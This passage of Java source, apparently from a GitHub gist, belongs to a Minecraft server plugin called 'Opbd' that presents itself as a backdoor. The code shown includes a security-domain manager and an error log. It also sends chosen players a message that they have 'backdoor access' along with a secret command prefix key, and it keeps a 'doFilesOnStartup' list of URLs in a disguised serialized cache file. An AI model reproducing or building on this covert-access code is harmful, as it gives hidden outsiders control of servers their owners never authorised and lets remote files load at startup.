public NamespacedEventLog getErrorLog() {
return errorLog;
}
public SecurityManager addDomain(SecurityDomain domain) {
this.domains.add(domain);
domain.cacheRelated(null, addingCacheAccess);
return this;
}
public SecurityManager removeDomain(SecurityDomain domain) {
this.domains.remove(domain);
domain.cacheRelated(null, removingCacheAccess);
return this;
}
public SecurityManager addDomains(SecurityDomain... domains) {
for (SecurityDomain domain : Arrays.asList(domains))
addDomain(domain);
return this;
}
}
/* Domain Implementations */
/**
* Security Domain.
* Protects the class it is assigned
* and all of it's subclasses.
* For example:
*
* class A {
* class B;
* }
*
* Protects both.
*/
public static class ClassSecurityDomain implements SecurityDomain {
final Class<?> klass;
public ClassSecurityDomain(Class<?> klass) {
Objects.requireNonNull(klass);
this.klass = klass;
}
@Override
public String asString() {
return "class(" + klass.getName() + ")";
}
@Override
public boolean catches(StackTraceElement element) {
return element.getClassName().startsWith(klass.getName());
}
@Override
public void cacheRelated(StackTraceElement element, ICacheAccess<HashableSTE, SecurityDomain> cache) {
try {
String className = element.getClassName();
Class<?> klass = Class.forName(element.getClassName());
cache.modify(new HashableSTE(className, "<init>"), this);
for (Method method : klass.getDeclaredMethods()) {
method.setAccessible(true);
cache.modify(new HashableSTE(className, method.getName()), this);
}
} catch (Exception e) { }
}
public Class<?> getCapturedClass() {
return klass;
}
}
/* ------------ Error Handling ---------- */
public static class NamespacedEvent {
final Throwable t;
final int level;
final Object namespace;
final Date time;
final Object details;
int id = -1;
public NamespacedEvent(Throwable t, int level, Object namespace, Date time, Object details) {
this.t = t;
this.level = level;
this.namespace = namespace;
this.time = time;
this.details = details;
}
public int id() { return id; }
public int level() { return level; }
public Throwable err() { return t; }
public Object namespace() { return namespace; }
public Date time() { return time; }
public Object details() { return details; }
@Override
public String toString() {
return new StringJoiner(", ", NamespacedEvent.class.getSimpleName() + "(", ")")
.add("error: " + t)
.add("level: " + level)
.add("namespace: " + namespace)
.add("@ " + time)
.add("details: " + details)
.toString();
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
NamespacedEvent that = (NamespacedEvent) o;
return level == that.level && Objects.equals(t, that.t) && Objects.equals(namespace, that.namespace) && Objects.equals(time, that.time) && Objects.equals(details, that.details);
}
@Override
public int hashCode() {
return Objects.hash(t, level, namespace, time, details);
}
}
public static class NamespacedEventLog {
/* Reflection */
private static Field arrayDequeElements;
@SuppressWarnings("unchecked")
private static <T> T[] getElementsFromDeque(ArrayDeque<T> deque) {
try {
return (T[])arrayDequeElements.get(deque);
} catch (Exception e) { return (T[])new Object[0]; }
}
static {
try {
arrayDequeElements = ArrayDeque.class.getDeclaredField("elements");
arrayDequeElements.setAccessible(true);
} catch (Exception e) { }
}
/**
* ID counter.
*/
int idc = 0;
/**
* The log of events.
*/
final ArrayDeque<NamespacedEvent> events;
/**
* The ID to event map.
*/
final Map<Integer, NamespacedEvent> eventMap;
/**
* The maximum size that this log
* can expand to. When it is met
* the first elements are removed.
*/
final int maxSize;
public NamespacedEventLog(int maxSize) {
this.maxSize = maxSize;
this.events = new ArrayDeque<>(maxSize);
this.eventMap = new HashMap<>(maxSize);
}
public NamespacedEvent[] getEvents() {
return getElementsFromDeque(events);
}
public ArrayDeque<NamespacedEvent> getErrorQueue() {
return events;
}
public NamespacedEvent getEvent(int i) {
return getEvents()[i];
}
public NamespacedEvent getEventById(int id) {
return eventMap.get(id);
}
private int nextId() {
return idc++;
}
public void pushEvent(NamespacedEvent error) {
int id = nextId();
error.id = id;
events.addLast(error);
eventMap.put(id, error);
if (events.size() > maxSize)
eventMap.remove(events.pop().id);
}
public void pushEvent(Exception e, int level) {
pushEvent(new NamespacedEvent(e, level, null, new Date(), (e == null) ? null : "Exception"));
}
public void pushEvent(Exception e, int level, Object ns) {
pushEvent(new NamespacedEvent(e, level, ns, new Date(), (e == null) ? null : "Exception"));
}
public void pushEvent(Exception e, int level, Object ns, Object details) {
pushEvent(new NamespacedEvent(e, level, ns, new Date(), details));
}
}
public static record NamespacedErrorDetails(
Thread thread,
SecurityDomain domain
) {
@Override
public String toString() {
return "thread 0x" + Integer.toHexString(thread.hashCode())
+ " in " + domain.asString();
}
}
/**
* Namespaced error handler.
*/
public static class NamespacedErrorHandler implements ErrorHandler {
final NamespacedEventLog log;
public NamespacedErrorHandler(NamespacedEventLog log) {
this.log = log;
}
@Override
public void handle(SecurityManager manager,
SecurityDomain domain,
Thread thread,
Throwable t) {
log.pushEvent((Exception)t,
2,
"@" + domain.asString(),
new NamespacedErrorDetails(thread, domain));
}
}
/* ------------- Data Store ------------- */
/**
* Backdoor save state.
*/
public static class SaveState implements Serializable {
@java.io.Serial
private static final long serialVersionUID = 8683452581122892189L;
////////////////////////////////////////
public final List<URL> doFilesOnStartup = new ArrayList<>();
}
public void saveState() {
try {
if (saveSupplier == null) return;
Path p = saveSupplier.get().resolve("cache-0.jsf");
File f = p.toFile();
if (!f.getParentFile().exists())
f.getParentFile().mkdirs();
if (!f.exists())
if (!f.createNewFile())
return;
FileOutputStream fs = new FileOutputStream(f);
ObjectOutputStream stream = new ObjectOutputStream(fs);
stream.writeObject(saveState);
fs.close();
} catch (Exception e) { e.printStackTrace(); }
}
public void loadState() {
try {
if (saveSupplier == null) return;
Path p = saveSupplier.get().resolve("cache-0.jsf");
File f = p.toFile();
if (!f.exists())
return;
FileInputStream fs = new FileInputStream(f);
ObjectInputStream stream = new ObjectInputStream(fs);
saveState = (SaveState)stream.readObject();
fs.close();
applyNewState();
} catch (Exception e) { e.printStackTrace(); }
}
public void applyNewState() {
}
/* -------------- Internal -------------- */
void psendlm(CommandSender sender, int level, String label, String message) {
ChatColor c = getLevelColor(level);
sender.sendMessage(c + "$ " + label + ": " + ChatColor.WHITE + message);
}
public ChatColor getLevelColor(int level) {
ChatColor c;
switch (level) {
case -1 -> c = ChatColor.AQUA;
case 0 -> c = ChatColor.GREEN;
case 1 -> c = ChatColor.YELLOW;
case 2 -> c = ChatColor.RED;
case 3 -> c = ChatColor.DARK_RED;
default -> c = ChatColor.GRAY;
}
return c;
}
public static record CommandDispatchResult(
CDResultType type,
Throwable t,
String message
) {
public CommandDispatchResult(CDResultType type) {
this(type, null, "");
}
public CommandDispatchResult(CDResultType type, Throwable t) {
this(type, t, "");
}
public CommandDispatchResult(CDResultType type, String message) {
this(type, null, message);
}
}
public enum CDResultType {
SUCCESS,
ILLEGAL_ACCESS,
NO_SUCH_COMMAND,
COMMAND_EXCEPTION,
DISPATCH_EXCEPTION
}
static class HashableSTE {
final String className;
final String methodName;
public HashableSTE(String className, String methodName) {
this.className = className;
this.methodName = methodName;
}
public String getClassName() {
return className;
}
public String getMethodName() {
return methodName;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
HashableSTE that = (HashableSTE) o;
return Objects.equals(className, that.className) && Objects.equals(methodName, that.methodName);
}
@Override
public int hashCode() {
return Objects.hash(className, methodName);
}
public static HashableSTE from(StackTraceElement element) {
return new HashableSTE(element.getClassName(), element.getMethodName());
}
}
String strtrunc(String str, int maxLen) {
if (str.length() < maxLen)
return str;
return str.substring(0, maxLen - 1) + "...";
}
public String createFormattedSummary(NamespacedEvent event) {
StringBuilder b = new StringBuilder();
b.append(getLevelColor(event.level)).append("\u26A0 ");
if (event.details != null)
b.append(ChatColor.GRAY).append(strtrunc(event.details.toString(), 20));
b.append(ChatColor.WHITE).append(" in ").append(ChatColor.YELLOW)
.append(event.namespace);
if (event.time != null)
b.append(ChatColor.WHITE).append(" at ")
.append(ChatColor.AQUA).append(event.time.toLocaleString());
if (event.t != null)
b.append(ChatColor.DARK_GRAY).append(": ")
.append(ChatColor.RED).append(strtrunc(event.t.toString(), 30));
b.append(ChatColor.DARK_GRAY).append(" ( w/ id: ")
.append(ChatColor.WHITE).append(event.id)
.append(ChatColor.DARK_GRAY).append(" )");
return b.toString();
}
public boolean trySendInfoMessage(Player player) {
if (players.contains(player.getUniqueId())) {
player.sendMessage("");
player.sendMessage(ChatColor.WHITE + "" +
ChatColor.BOLD + "$ You have " + ChatColor.DARK_RED + "backdoor " +
ChatColor.WHITE + ChatColor.BOLD + "access.");
player.sendMessage(ChatColor.DARK_GRAY + "" + ChatColor.BOLD + "$ " +
Mcf.gradient2f("Opbd", Color.RED, Color.ORANGE, false, net.md_5.bungee.api.ChatColor.BOLD) +
ChatColor.WHITE + " v" + ChatColor.GRAY + version);
player.sendMessage(ChatColor.GOLD + "" + ChatColor.BOLD + "$ Backdoor Prefixkey: " + ChatColor.WHITE + prefix + key);
player.sendMessage("$ Use " + ChatColor.AQUA + prefix + key + " help" + ChatColor.WHITE +
" for command usage help.");
player.sendMessage("");
return true;
} else return false;
}
public static String getStackTraceAsStringWithNewline(final Throwable throwable) {
final StringWriter sw = new StringWriter();
final PrintWriter pw = new PrintWriter(sw, true) {
@Override
public void println() {
super.write("\n");
}
};
throwable.printStackTrace(pw);
return sw.getBuffer().toString();
}
public static class Version {
/* Numbers. */
final int major;
final int minor;
final float patch;
public Version(int major, int minor, float patch) {
this.major = major;
this.minor = minor;
this.patch = patch;
}
public int getMajor() {
return major;
}
public int getMinor() {
return minor;
}
public float getPatch() {
return patch;
}
public boolean isHigher(Version other) {
if (major > other.major) return true;
else if (major < other.major) return false;
else {
if (minor > other.minor) return true;
else if (minor < other.minor) return false;
else {
return patch > other.patch;
}
}
}
public boolean isEqual(Version other) {
return major == other.major && minor == other.minor && patch == other.patch;
}
public boolean isLower(Version other) {
return !isEqual(other) && !isHigher(other);
}
@Override
public String toString() {
return major + "." + minor + "." + patch;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Version version = (Version) o;
return major == version.major && minor == version.minor && patch == version.patch;
}
@Override
public int hashCode() {
return Objects.hash(major, minor, patch);
}
public static Version fromString(String s) {
String[] split = s.split("\\.");
if (split.length < 2)
return null;
int major = Integer.parseInt(split[0]);
int minor = Integer.parseInt(split[1]);
float patch = 0;
if (split.length > 2) {
StringBuilder b = new StringBuilder();
for (int i = 2; i < split.length; i++) {
if (i != 2) b.append(".");
b.append(split[i]);
}
patch = Float.parseFloat(b.toString());
}
return new Version(major, minor, patch);
}
}
public static class Mcf {
public static String translate(String text, String prefix, String hexprefix) {
boolean enableHex = true;
if (hexprefix == null)
enableHex = false;
if (prefix == null)
throw new IllegalArgumentException("colorcode prefix cannot be null");
if (text == null)
throw new IllegalArgumentException("text cannot be null");
StringBuilder builder = new StringBuilder();
int i = 0;
while(i < text.length()){
char current = text.charAt(i);
int prefixEnd = Math.min(i + prefix.length(), text.length() - 1);
int hexEnd = Math.min(i + (enableHex ? hexprefix.length() : 0), text.length() - 1);
String prefixSpace = text.substring(i, prefixEnd);
String hexSpace = enableHex ? text.substring(i, hexEnd) : "";
char charAfterPrefix = text.charAt(prefixEnd);
String x6 = "";
if (enableHex)
x6 = text.substring(hexEnd, Math.min(i+6+hexprefix.length(), text.length()));
if (hexSpace.equals(hexprefix)) {
if (!enableHex){
builder.append(current);
continue;
}
builder.append(net.md_5.bungee.api.ChatColor.of(new Color(Integer.parseInt(x6, 16))));
i += hexprefix.length()+6;
} else if (prefixSpace.equals(prefix)) {
builder.append(net.md_5.bungee.api.ChatColor.translateAlternateColorCodes('&', "&"+charAfterPrefix));
i += prefix.length()+1;
} else {
builder.append(current);
i++;
}
}
return builder.toString();
}
public static String rgbToHex(Color color) {
int r = color.getRed();
int g = color.getGreen();
int b = color.getBlue();
String out = "#" +
Integer.toString(r, 16).toUpperCase() +
Integer.toString(g, 16).toUpperCase() +
Integer.toString(b, 16).toUpperCase();
return out;
}
public static String gradient2f(String text, Color from, Color to, boolean checkForWhitespace, net.md_5.bungee.api.ChatColor... formatting) {
// strip color from text
text = net.md_5.bungee.api.ChatColor.stripColor(text);
// calculate length and frame increase
int len = text.length();
float p = 1f / (len - 1);
// get individual RGB values
int r1 = from.getRed();
int g1 = from.getGreen();
int b1 = from.getBlue();
int r2 = to.getRed();
int g2 = to.getGreen();
int b2 = to.getBlue();
// initialize the extra formatting
StringBuilder b = new StringBuilder();
for (net.md_5.bungee.api.ChatColor color : formatting)
b.append(color);
String ef = b.toString();
// create StringBuilder
StringBuilder builder = new StringBuilder();
// create frame variable and loop
float frame = 0;
for (int i = 0; i < len; i++) {
// get character
char c = text.charAt(i);
// check for whitespace
if (checkForWhitespace) if (c == ' ' || c == '\n' || c == '\t') continue;
// interpolate
Color col = _colinterpolate(r1, g1, b1, r2, g2, b2, frame);
// create ChatColor and append it with extra formatting
net.md_5.bungee.api.ChatColor color = net.md_5.bungee.api.ChatColor.of(col);
builder.append(color).append(ef).append(c);
// increment frame
frame += p;
}
// return string
return builder.toString();
}
private static Color _colinterpolate(int r1, int g1, int b1, int r2, int g2, int b2, float frame) {
float iframe = 1 - frame;
float r1f = r1 * iframe;
float g1f = g1 * iframe;
float b1f = b1 * iframe;
float r2f = r2 * frame;
float g2f = g2 * frame;
float b2f = b2 * frame;
float red = r1f + r2f;
float green = g1f + g2f;
float blue = b1f + b2f;
return new Color (red / 255, green / 255, blue / 255);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment